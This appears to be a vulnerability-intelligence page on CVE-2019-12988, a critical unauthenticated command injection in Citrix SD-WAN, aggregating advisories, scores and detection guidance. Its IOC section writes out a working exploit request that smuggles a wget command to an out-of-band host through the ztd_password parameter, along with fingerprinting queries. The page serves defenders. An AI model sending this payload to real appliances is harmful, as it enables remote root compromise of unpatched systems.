CVE-2019-12988
published 2019-07-16CVE-2019-12988: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 4 of 6).
PriorityP187critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
42.55%
98.5th percentile
Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 4 of 6).
Affected
6 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| citrix | citrix_sd-wan | — | — |
| citrix | netscaler_adc_gateway | — | — |
| citrix | netscaler_sd-wan | >= 10.0 < 10.0.8 | 10.0.8 |
| citrix | sd-wan | — | — |
| citrix | sd-wan | >= 10.2 < 10.2.3 | 10.2.3 |
| citrix | xenserver | — | — |
Detection & IOCsextracted from sources · hover to see the quote
url/Collector/nms/addModifyZTDProxy?ztd_server=127.0.0.1&ztd_port=3333&ztd_username=user&ztd_password=$(/bin/wget$IFShttp://{{interactsh-url}})
path/Collector/nms/addModifyZTDProxy
command$(/bin/wget$IFS<oast-host>)
- →Detect exploitation attempts by monitoring HTTP GET requests to /Collector/nms/addModifyZTDProxy with shell metacharacters (e.g., $(), $IFS) in the ztd_password parameter.
- →Confirm exploitation via out-of-band (OAST/interactsh) HTTP callback — a successful injection causes the target to issue an outbound HTTP request to an attacker-controlled host.
- →Fingerprint vulnerable Citrix SD-WAN hosts using Shodan query http.title:"Citrix SD-WAN" or FOFA query title="citrix sd-wan" prior to exploitation attempts.
- →Verify target is a Citrix SD-WAN instance by checking that the login page body contains the string "Citrix SD-WAN" (used as a pre-condition matcher in the PoC template).
- →The vulnerability is unauthenticated (PR:N) — no session cookie or token is required; monitor for requests to the /Collector/ path from unauthenticated sources.
- ·The injection is routed through the Collector controller endpoint, not the main application login — ensure network monitoring covers internal/collector-facing ports and paths, not just the primary web UI.
- ·The PoC template uses 'unsafe: true', meaning standard HTTP client safety checks are bypassed; detection rules must account for malformed or non-standard HTTP requests to this endpoint.
CVSS provenance
nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
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Citrix
CVE-2019-12988: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 4 of 6).
vendor_citrix·2019-07-16·CVSS 9.8
CVE-2019-12988 [CRITICAL] CWE-78 CVE-2019-12988: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 4 of 6).
CVE-2019-12988: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 4 of 6).
Citrix
Citrix SD-WAN Multiple Security Updates
vendor_citrix·CVSS 9.8
CVE-2019-12985 [CRITICAL] Citrix SD-WAN Multiple Security Updates
Citrix SD-WAN Multiple Security Updates
of Problem Multiple vulnerabilities have been identified in the management console of the Citrix SD-WAN Center and NetScaler SD-WAN Center. Multiple Vulnerabilities have also been identified on the Citrix SD-WAN Appliance and NetScaler SD-WAN Appliance. Collectively, these vulnerabilities could result in an unauthenticated attacker executing commands as root against the SD-WAN Center management console, or potentially be used to gain root privileges on the SD-WAN appliance. The vulnerabilities have been assigned the following CVE numbers. CVE-2019-12985 – Unauthenticated Command Injection in Citrix SD-WAN Center 10.2.x before 10.2.3 and NetScaler SD-WAN Center 10.0.x before 10.0.8. CVE-2019-12986 – Unauthenticated Command Injection in Citrix SD-WAN
GHSA
GHSA-gp3j-hgq7-cg5g: Citrix SD-WAN 10
ghsa_unreviewed·2022-05-24
CVE-2019-12988 [CRITICAL] CWE-78 GHSA-gp3j-hgq7-cg5g: Citrix SD-WAN 10
Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 4 of 6).
VulnCheck
Citrix SD-WAN and NetScaler Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
vulncheck·2019·CVSS 9.8
CVE-2019-12988 [CRITICAL] Citrix SD-WAN and NetScaler Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Citrix SD-WAN and NetScaler Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 4 of 6).
Affected: Citrix SD-WAN and NetScaler
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2023-10-31&host_type=src&vulnerability=cve-2019-12988; https://www.f5.com/labs/articles/threat-intelligence/sensor-intel-series-top-cves-august-2024; https://www.f5.com/labs/articles/threat-intelligence/botpoke-scanner-switches-ip; https://www.f5.com/labs/
No detection rules found.
Nuclei
Citrix SD-WAN Center - Remote Command Injection
nuclei·CVSS 9.8
CVE-2019-12988 [CRITICAL] Citrix SD-WAN Center - Remote Command Injection
Citrix SD-WAN Center - Remote Command Injection
Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in NmsController. The function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ztd_password, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
Template:
id: CVE-2019-12988
info:
name: Citrix SD-WAN Center - Remote Command Injection
author: gy741
severity: critical
description: |
Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in Nm
Tenable
Multiple Vulnerabilities Found in Citrix SD-WAN Center and SD-WAN Appliances
blogs_tenable·2019-07-11
Multiple Vulnerabilities Found in Citrix SD-WAN Center and SD-WAN Appliances
## Cloud Exposure
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## Vulnerability Exposure
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## AI Exposure
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## OT/IoT Exposure
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## Identity Exposure
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## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Tenable
Citrix SD-WAN Center Multiple Vulnerabilities
blogs_tenable·2019-07-02
Citrix SD-WAN Center Multiple Vulnerabilities
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
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2019-07-16
Published
Exploited in the wild